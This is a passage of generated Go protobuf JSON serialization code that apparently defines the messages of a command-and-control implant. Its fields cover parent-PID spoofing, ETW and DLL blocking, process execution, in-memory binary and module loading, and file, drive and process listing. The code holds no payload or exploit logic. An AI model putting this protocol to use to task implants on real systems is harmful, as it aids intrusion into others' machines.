s.ReadFloat64() + } + }) +} + +// UnmarshalJSON unmarshals the Timer from JSON. +func (x *Timer) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the FileInfo message to JSON. +func (x *FileInfo) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Name != "" || s.HasField("Name") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("Name") + s.WriteString(x.Name) + } + if x.IsDir || s.HasField("IsDir") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("IsDir") + s.WriteBool(x.IsDir) + } + if x.Size != 0 || s.HasField("Size") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("Size") + s.WriteUint64(x.Size) + } + if x.ModTime != 0 || s.HasField("ModTime") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("ModTime") + s.WriteInt64(x.ModTime) + } + if x.Mode != 0 || s.HasField("Mode") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("Mode") + s.WriteUint32(x.Mode) + } + if x.Link != "" || s.HasField("Link") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("Link") + s.WriteString(x.Link) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the FileInfo to JSON. +func (x *FileInfo) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the FileInfo message from JSON. +func (x *FileInfo) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "Name": + s.AddField("Name") + x.Name = s.ReadString() + case "IsDir": + s.AddField("IsDir") + x.IsDir = s.ReadBool() + case "Size": + s.AddField("Size") + x.Size = s.ReadUint64() + case "ModTime": + s.AddField("ModTime") + x.ModTime = s.ReadInt64() + case "Mode": + s.AddField("Mode") + x.Mode = s.ReadUint32() + case "Link": + s.AddField("Link") + x.Link = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the FileInfo from JSON. +func (x *FileInfo) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the SacrificeProcess message to JSON. +func (x *SacrificeProcess) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Hidden || s.HasField("hidden") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("hidden") + s.WriteBool(x.Hidden) + } + if x.BlockDll || s.HasField("blockDll") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("blockDll") + s.WriteBool(x.BlockDll) + } + if x.Etw || s.HasField("etw") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("etw") + s.WriteBool(x.Etw) + } + if x.Ppid != 0 || s.HasField("ppid") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("ppid") + s.WriteUint32(x.Ppid) + } + if x.Argue != "" || s.HasField("argue") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("argue") + s.WriteString(x.Argue) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the SacrificeProcess to JSON. +func (x *SacrificeProcess) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the SacrificeProcess message from JSON. +func (x *SacrificeProcess) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "hidden": + s.AddField("hidden") + x.Hidden = s.ReadBool() + case "block_dll", "blockDll": + s.AddField("block_dll") + x.BlockDll = s.ReadBool() + case "etw": + s.AddField("etw") + x.Etw = s.ReadBool() + case "ppid": + s.AddField("ppid") + x.Ppid = s.ReadUint32() + case "argue": + s.AddField("argue") + x.Argue = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the SacrificeProcess from JSON. +func (x *SacrificeProcess) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the LsResponse message to JSON. +func (x *LsResponse) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Path != "" || s.HasField("Path") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("Path") + s.WriteString(x.Path) + } + if x.Exists || s.HasField("Exists") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("Exists") + s.WriteBool(x.Exists) + } + if len(x.Files) > 0 || s.HasField("Files") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("Files") + s.WriteArrayStart() + var wroteElement bool + for _, element := range x.Files { + s.WriteMoreIf(&wroteElement) + element.MarshalProtoJSON(s.WithField("Files")) + } + s.WriteArrayEnd() + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the LsResponse to JSON. +func (x *LsResponse) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the LsResponse message from JSON. +func (x *LsResponse) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "Path": + s.AddField("Path") + x.Path = s.ReadString() + case "Exists": + s.AddField("Exists") + x.Exists = s.ReadBool() + case "Files": + s.AddField("Files") + if s.ReadNil() { + x.Files = nil + return + } + s.ReadArray(func() { + if s.ReadNil() { + x.Files = append(x.Files, nil) + return + } + v := &FileInfo{} + v.UnmarshalProtoJSON(s.WithField("Files", false)) + if s.Err() != nil { + return + } + x.Files = append(x.Files, v) + }) + } + }) +} + +// UnmarshalJSON unmarshals the LsResponse from JSON. +func (x *LsResponse) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the DriveInfo message to JSON. +func (x *DriveInfo) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Path != "" || s.HasField("path") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("path") + s.WriteString(x.Path) + } + if x.DriveType != "" || s.HasField("driveType") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("driveType") + s.WriteString(x.DriveType) + } + if x.TotalSize != 0 || s.HasField("totalSize") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("totalSize") + s.WriteUint64(x.TotalSize) + } + if x.FreeSize != 0 || s.HasField("freeSize") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("freeSize") + s.WriteUint64(x.FreeSize) + } + if x.FileSystem != "" || s.HasField("fileSystem") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("fileSystem") + s.WriteString(x.FileSystem) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the DriveInfo to JSON. +func (x *DriveInfo) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the DriveInfo message from JSON. +func (x *DriveInfo) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "path": + s.AddField("path") + x.Path = s.ReadString() + case "drive_type", "driveType": + s.AddField("drive_type") + x.DriveType = s.ReadString() + case "total_size", "totalSize": + s.AddField("total_size") + x.TotalSize = s.ReadUint64() + case "free_size", "freeSize": + s.AddField("free_size") + x.FreeSize = s.ReadUint64() + case "file_system", "fileSystem": + s.AddField("file_system") + x.FileSystem = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the DriveInfo from JSON. +func (x *DriveInfo) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the EnumDriversResponse message to JSON. +func (x *EnumDriversResponse) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if len(x.Drives) > 0 || s.HasField("drives") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("drives") + s.WriteArrayStart() + var wroteElement bool + for _, element := range x.Drives { + s.WriteMoreIf(&wroteElement) + element.MarshalProtoJSON(s.WithField("drives")) + } + s.WriteArrayEnd() + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the EnumDriversResponse to JSON. +func (x *EnumDriversResponse) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the EnumDriversResponse message from JSON. +func (x *EnumDriversResponse) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "drives": + s.AddField("drives") + if s.ReadNil() { + x.Drives = nil + return + } + s.ReadArray(func() { + if s.ReadNil() { + x.Drives = append(x.Drives, nil) + return + } + v := &DriveInfo{} + v.UnmarshalProtoJSON(s.WithField("drives", false)) + if s.Err() != nil { + return + } + x.Drives = append(x.Drives, v) + }) + } + }) +} + +// UnmarshalJSON unmarshals the EnumDriversResponse from JSON. +func (x *EnumDriversResponse) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the PsResponse message to JSON. +func (x *PsResponse) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if len(x.Processes) > 0 || s.HasField("processes") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("processes") + s.WriteArrayStart() + var wroteElement bool + for _, element := range x.Processes { + s.WriteMoreIf(&wroteElement) + element.MarshalProtoJSON(s.WithField("processes")) + } + s.WriteArrayEnd() + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the PsResponse to JSON. +func (x *PsResponse) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the PsResponse message from JSON. +func (x *PsResponse) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "processes": + s.AddField("processes") + if s.ReadNil() { + x.Processes = nil + return + } + s.ReadArray(func() { + if s.ReadNil() { + x.Processes = append(x.Processes, nil) + return + } + v := &Process{} + v.UnmarshalProtoJSON(s.WithField("processes", false)) + if s.Err() != nil { + return + } + x.Processes = append(x.Processes, v) + }) + } + }) +} + +// UnmarshalJSON unmarshals the PsResponse from JSON. +func (x *PsResponse) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the ExecRequest message to JSON. +func (x *ExecRequest) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Path != "" || s.HasField("path") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("path") + s.WriteString(x.Path) + } + if len(x.Args) > 0 || s.HasField("args") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("args") + s.WriteStringArray(x.Args) + } + if x.Output || s.HasField("output") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("output") + s.WriteBool(x.Output) + } + if x.Singleton || s.HasField("singleton") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("singleton") + s.WriteBool(x.Singleton) + } + if x.Realtime || s.HasField("realtime") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("realtime") + s.WriteBool(x.Realtime) + } + if x.Ppid != 0 || s.HasField("ppid") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("ppid") + s.WriteUint32(x.Ppid) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the ExecRequest to JSON. +func (x *ExecRequest) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the ExecRequest message from JSON. +func (x *ExecRequest) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "path": + s.AddField("path") + x.Path = s.ReadString() + case "args": + s.AddField("args") + if s.ReadNil() { + x.Args = nil + return + } + x.Args = s.ReadStringArray() + case "output": + s.AddField("output") + x.Output = s.ReadBool() + case "singleton": + s.AddField("singleton") + x.Singleton = s.ReadBool() + case "realtime": + s.AddField("realtime") + x.Realtime = s.ReadBool() + case "ppid": + s.AddField("ppid") + x.Ppid = s.ReadUint32() + } + }) +} + +// UnmarshalJSON unmarshals the ExecRequest from JSON. +func (x *ExecRequest) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the ExecResponse message to JSON. +func (x *ExecResponse) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.StatusCode != 0 || s.HasField("statusCode") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("statusCode") + s.WriteInt32(x.StatusCode) + } + if len(x.Stdout) > 0 || s.HasField("stdout") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("stdout") + s.WriteBytes(x.Stdout) + } + if len(x.Stderr) > 0 || s.HasField("stderr") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("stderr") + s.WriteBytes(x.Stderr) + } + if x.Pid != 0 || s.HasField("pid") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("pid") + s.WriteUint32(x.Pid) + } + if x.End || s.HasField("end") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("end") + s.WriteBool(x.End) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the ExecResponse to JSON. +func (x *ExecResponse) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the ExecResponse message from JSON. +func (x *ExecResponse) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "status_code", "statusCode": + s.AddField("status_code") + x.StatusCode = s.ReadInt32() + case "stdout": + s.AddField("stdout") + x.Stdout = s.ReadBytes() + case "stderr": + s.AddField("stderr") + x.Stderr = s.ReadBytes() + case "pid": + s.AddField("pid") + x.Pid = s.ReadUint32() + case "end": + s.AddField("end") + x.End = s.ReadBool() + } + }) +} + +// UnmarshalJSON unmarshals the ExecResponse from JSON. +func (x *ExecResponse) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the BinaryResponse message to JSON. +func (x *BinaryResponse) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if len(x.Data) > 0 || s.HasField("data") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("data") + s.WriteBytes(x.Data) + } + if len(x.Message) > 0 || s.HasField("message") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("message") + s.WriteBytes(x.Message) + } + if x.Status != 0 || s.HasField("status") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("status") + s.WriteInt32(x.Status) + } + if x.Err != "" || s.HasField("err") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("err") + s.WriteString(x.Err) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the BinaryResponse to JSON. +func (x *BinaryResponse) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the BinaryResponse message from JSON. +func (x *BinaryResponse) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "data": + s.AddField("data") + x.Data = s.ReadBytes() + case "message": + s.AddField("message") + x.Message = s.ReadBytes() + case "status": + s.AddField("status") + x.Status = s.ReadInt32() + case "err": + s.AddField("err") + x.Err = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the BinaryResponse from JSON. +func (x *BinaryResponse) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Modules message to JSON. +func (x *Modules) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if len(x.Modules) > 0 || s.HasField("modules") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("modules") + s.WriteStringArray(x.Modules) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Modules to JSON. +func (x *Modules) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Modules message from JSON. +func (x *Modules) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "modules": + s.AddField("modules") + if s.ReadNil() { + x.Modules = nil + return + } + x.Modules = s.ReadStringArray() + } + }) +} + +// UnmarshalJSON unmarshals the Modules from JSON. +func (x *Modules) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Addons message to JSON. +func (x *Addons) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if len(x.Addons) > 0 || s.HasField("addons") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("addons") + s.WriteArrayStart() + var wroteElement bool + for _, element := range x.Addons { + s.WriteMoreIf(&wroteElement) + element.MarshalProtoJSON(s.WithField("addons")) + } + s.WriteArrayEnd() + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Addons to JSON. +func (x *Addons) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Addons message from JSON. +func (x *Addons) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "addons": + s.AddField("addons") + if s.ReadNil() { + x.Addons = nil + return + } + s.ReadArray(func() { + if s.ReadNil() { + x.Addons = append(x.Addons, nil) + return + } + v := &Addon{} + v.UnmarshalProtoJSON(s.WithField("addons", false)) + if s.Err() != nil { + return + } + x.Addons = append(x.Addons, v) + }) + } + }) +} + +// UnmarshalJSON unmarshals the Addons from JSON. +func (x *Addons) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Addon message to JSON. +func (x *Addon) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Name != "" || s.HasField("name") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("name") + s.WriteString(x.Name) + } + if x.Type != "" || s.HasField("type") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("type") + s.WriteString(x.Type) + } + if x.Depend != "" || s.HasField("depend") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("depend") + s.WriteString(x.Depend) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Addon to JSON. +func (x *Addon) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Addon message from JSON. +func (x *Addon) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "name": + s.AddField("name") + x.Name = s.ReadString() + case "type": + s.AddField("type") + x.Type = s.ReadString() + case "depend": + s.AddField("depend") + x.Depend = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the Addon from JSON. +func (x *Addon) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the LoadModule message to JSON. +func (x *LoadModule) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Bundle != "" || s.HasField("bundle") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("bundle") + s.WriteString(x.Bundle) + } + if len(x.Bin) > 0 || s.HasField("bin") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("bin") + s.WriteBytes(x.Bin) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the LoadModule to JSON. +func (x *LoadModule) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the LoadModule message from JSON. +func (x *LoadModule) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "bundle": + s.AddField("bundle") + x.Bundle = s.ReadString() + case "bin": + s.AddField("bin") + x.Bin = s.ReadBytes() + } + }) +} + +// UnmarshalJSON unmarshals the LoadModule from JSON. +func (x *LoadModule) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the LoadAddon message to JSON. +func (x *LoadAddon) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Name != "" || s.HasField("name") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("name") + s.WriteString(x.Name) + } + if x.Type != "" || s.HasField("type") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("type") + s.WriteString(x.Type) + } + if x.Depend != "" || s.HasField("depend") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("depend") + s.WriteString(x.Depend) + } + if len(x.Bin) > 0 || s.HasField("bin") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("bin") + s.WriteBytes(x.Bin) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the LoadAddon to JSON. +func (x *LoadAddon) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the LoadAddon message from JSON. +func (x *LoadAddon) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "name": + s.AddField("name") + x.Name = s.ReadString() + case "type": + s.AddField("type") + x.Type = s.ReadString() + case "depend": + s.AddField("depend") + x.Depend = s.ReadString() + case "bin": + s.AddField("bin") + x.Bin = s.ReadBytes() + } + }) +} + +// UnmarshalJSON unmarshals the LoadAddon from JSON. +func (x *LoadAddon) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the ExecuteAddon message to JSON. +func (x *ExecuteAddon) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Addon != "" || s.HasField("addon") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("addon") + s.WriteString(x.Addon) + } + if x.ExecuteBinary != nil || s.HasField("executeBinary") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("executeBinary") + x.ExecuteBinary.MarshalProtoJSON(s.WithField("executeBinary")) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the ExecuteAddon to JSON. +func (x *ExecuteAddon) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the ExecuteAddon message from JSON. +func (x *ExecuteAddon) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "addon": + s.AddField("addon") + x.Addon = s.ReadString() + case "execute_binary", "executeBinary": + if s.ReadNil() { + x.ExecuteBinary = nil + return + } + x.ExecuteBinary = &ExecuteBinary{} + x.ExecuteBinary.UnmarshalProtoJSON(s.WithField("execute_binary", true)) + } + }) +} + +// UnmarshalJSON unmarshals the ExecuteAddon from JSON. +func (x *ExecuteAddon) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the ExecuteBinary_ParamEntry message to JSON. +func (x *ExecuteBinary_ParamEntry) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Key != "" || s.HasField("key") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("key") + s.WriteString(x.Key) + } + if x.Value != "" || s.HasField("value") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("value") + s.WriteString(x.Value) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the ExecuteBinary_ParamEntry to JSON. +func (x *ExecuteBinary_ParamEntry) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the ExecuteBinary_ParamEntry message from JSON. +func (x *ExecuteBinary_ParamEntry) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "key": + s.AddField("key") + x.Key = s.ReadString() + case "value": + s.AddField("value") + x.Value = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the ExecuteBinary_ParamEntry from JSON. +func (x *ExecuteBinary_ParamEntry) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the ExecuteBinary message to JSON. +func (x *ExecuteBinary) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Name != "" || s.HasField("name") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("name") + s.WriteString(x.Name) + } + if len(x.Bin) > 0 || s.HasField("bin") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("bin") + s.WriteBytes(x.Bin) + } + if x.Param != nil || s.HasField("param") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("param") + s.WriteObjectStart() + var wroteElement bool + for k, v := range x.Param { + s.WriteMoreIf(&wroteElement) + s.WriteObjectStringField(k) + s.WriteString(v) + } + s.WriteObjectEnd() + } + if x.Type != "" || s.HasField("type") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("type") + s.WriteString(x.Type) + } + if x.ProcessName != "" || s.HasField("processName") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("processName") + s.WriteString(x.ProcessName) + } + if len(x.Args) > 0 || s.HasField("args") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("args") + s.WriteStringArray(x.Args) + } + if x.EntryPoint != "" || s.HasField("entryPoint") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("entryPoint") + s.WriteString(x.EntryPoint) + } + if len(x.Data) > 0 || s.HasField("data") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("data") + s.WriteBytes(x.Data) + } + if x.Output || s.HasField("output") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("output") + s.WriteBool(x.Output) + } + if x.Arch != 0 || s.HasField("arch") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("arch") + s.WriteUint32(x.Arch) + } + if x.Timeout != 0 || s.HasField("timeout") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("timeout") + s.WriteUint32(x.Timeout) + } + if x.Sacrifice != nil || s.HasField("sacrifice") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("sacrifice") + x.Sacrifice.MarshalProtoJSON(s.WithField("sacrifice")) + } + if x.Path != "" || s.HasField("path") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("path") + s.WriteString(x.Path) + } + if x.Context != "" || s.HasField("context") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("context") + s.WriteString(x.Context) + } + if x.Delay != 0 || s.HasField("delay") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("delay") + s.WriteUint32(x.Delay) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the ExecuteBinary to JSON. +func (x *ExecuteBinary) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the ExecuteBinary message from JSON. +func (x *ExecuteBinary) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "name": + s.AddField("name") + x.Name = s.ReadString() + case "bin": + s.AddField("bin") + x.Bin = s.ReadBytes() + case "param": + s.AddField("param") + if s.ReadNil() { + x.Param = nil + return + } + x.Param = make(map[string]string) + s.ReadStringMap(func(key string) { + x.Param[key] = s.ReadString() + }) + case "type": + s.AddField("type") + x.Type = s.ReadString() + case "process_name", "processName": + s.AddField("process_name") + x.ProcessName = s.ReadString() + case "args": + s.AddField("args") + if s.ReadNil() { + x.Args = nil + return + } + x.Args = s.ReadStringArray() + case "entry_point", "entryPoint": + s.AddField("entry_point") + x.EntryPoint = s.ReadString() + case "data": + s.AddField("data") + x.Data = s.ReadBytes() + case "output": + s.AddField("output") + x.Output = s.ReadBool() + case "arch": + s.AddField("arch") + x.Arch = s.ReadUint32() + case "timeout": + s.AddField("timeout") + x.Timeout = s.ReadUint32() + case "sacrifice": + if 